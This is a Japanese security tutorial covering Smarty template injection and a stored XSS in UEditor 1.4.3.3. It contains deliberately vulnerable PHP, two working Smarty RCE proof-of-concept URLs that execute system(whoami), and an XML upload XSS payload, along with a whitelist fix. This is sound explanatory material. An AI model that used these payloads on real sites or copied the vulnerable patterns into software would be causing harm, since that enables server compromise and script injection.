1. Smarty
1.1. Smartyとは?
SmartyはPHP用のテンプレートエンジンであり、プレゼンテーション(HTML/CSS)とアプリケーションロジックを分離することを容易にします。簡単に言えば、PHP Web開発で使用されるサードパーティコンポーネントで、テンプレートエンジンの機能を実装しています。
テンプレートエンジンの目的は、ソースコードのプレゼンテーション層とアプリケーションコードを分離することです。開発時には、ページデザイナーとバックエンド開発者がそれぞれの専門分野に集中でき、互いを気にせずに作業できます。また、開発者がテンプレートやアプリケーションロジックを変更する際も、相互に影響を与えることを考慮する必要がありません。
1.2. 基本的なデモ
Smartyの基本的な使い方を簡単なデモで確認します。ここではSmartyバージョン3.1.38とPHPバージョン7.3.4を使用します。
まず、テンプレートファイル(index.tpl)を作成します。このファイルはHTMLとCSSで構成されており、Smartyの変数({$変数名})が含まれています。
{* Smartyテンプレート *}
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{$page_title}</title>
<style>
body {
margin: 0; display: flex; justify-content: center; align-items: center;
height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;
}
h1 { color: #4caf50; }
.elephant { font-size: 100px; }
</style>
</head>
<body>
<h1>{$main_content}</h1>
<div class="elephant">{$emoji}</div>
</body>
</html>
{* Smartyテンプレート *}
次に、このテンプレートをレンダリングするPHPスクリプト(render.php)を作成します。
<?php
// Smartyクラスをインクルード
require '../smarty/smarty-3.1.38/libs/Smarty.class.php';
// Smartyインスタンスを生成
$template_engine = new Smarty();
// ディレクトリ設定
$template_engine->setTemplateDir('./templates');
$template_engine->setCompileDir('./templates_c');
$template_engine->setConfigDir('./configs');
$template_engine->setCacheDir('./cache');
// 変数をテンプレートに割り当て
$template_engine->assign('page_title', 'エレファント');
$template_engine->assign('main_content', 'これは可愛い象です!');
$template_engine->assign('emoji', '🐘');
// テンプレートを表示
$template_engine->display('index.tpl');
?>
このPHPスクリプトは、テンプレートファイルに変数を割り当てて表示します。Smartyは、テンプレートファイルをコンパイルし、templates_cディレクトリにPHPファイルとして保存します。このコンパイルされたファイルが最終的にユーザーに提供されるページとなります。
1.3. セキュリティ問題:テンプレートインジェクション
Smartyのテンプレートエンジンは、テンプレートファイルをPHPコードにコンパイルします。もしユーザーが制御できる入力がテンプレートのファイル名に渡されると、任意のコードを実行される脆弱性が発生する可能性があります。
以下は、脆弱なPHPスクリプトの例です。ここでは、$_GET['view']パラメータがテンプレートファイル名として直接使用されています。
<?php
require '../smarty/smarty-3.1.38/libs/Smarty.class.php';
$template_engine = new Smarty();
$template_engine->setTemplateDir('./templates');
$template_engine->setCompileDir('./templates_c');
// ユーザー入力をそのままテンプレートファイル名として使用
$template_name = $_GET['view'] . '.tpl';
$template_engine->display($template_name);
?>
このような構成の場合、攻撃者は以下のようなリクエストを送信することで、任意のPHPコードを実行できます。これはSmartyのバージョンによって異なるPOC(Proof of Concept)が存在します。
POC 1 (Smarty 3.1.38以下):
/render.php?view=string:{function name="x(){};system(whoami);function "}{/function}
POC 2 (Smarty 4.5.5):
/render.php?view=string:{$template_engine->template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
2. UEditor
2.1. UEditorとは?
UEditorは、百度(Baidu)のWebフロントエンド開発チームが開発したリッチテキストWebエディタです。しかし、現在は更新が停止されており、最新バージョンは2016年8月10日にリリースされた1.4.3.3です。プロジェクトアドレス:https://github.com/fex-team/ueditor
2.2. UEditorのセキュリティ問題:ストアドXSS
UEditorのファイルアップロード機能には、ストアドXSS(保存型クロスサイトスクリプティング)脆弱性が存在する可能性があります。ここでは、バージョン1.4.3.3のPHP版を対象に、この脆弱性の再現手順を説明します。
まず、UEditorをHTMLページに組み込みます。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ueditor demo</title>
</head>
<body>
<!-- エディタをロードするコンテナ -->
<script id="container" name="content" type="text/plain"></script>
<!-- 設定ファイル -->
<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js"></script>
<!-- エディタのソースファイル -->
<script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js"></script>
<!-- エディタのインスタンス化 -->
<script type="text/javascript">
var ue = UE.getEditor('container');
</script>
</body>
</html>
次に、Burp Suiteなどのプロキシツールを使用して、画像アップロードのリクエストをキャプチャします。攻撃者は、アップロードするファイルの拡張子を`.xml`に変更し、ファイルの内容を以下のようなXSSペイロードにします。
<html xmlns="http://www.w3.org/1999/xhtml">
<script type="text/javascript">
// ページが読み込まれたらアラートを表示
window.onload = function () {
alert("FBI WARNING!!!");
};
</script>
</html>
このファイルをアップロードすると、サーバー上に悪意のあるコードが保存されます。その後、このファイルにアクセスするたびに、保存されたスクリプトが実行され、XSS攻撃が成立します。
UEditorはファイルのアップロードタイプをホワイトリストで制限していますが、`.xml`はそのリストに含まれているため、この攻撃が可能になります。もし開発者がこのホワイトリストから`.xml`を削除すれば、この特定の攻撃は防げます。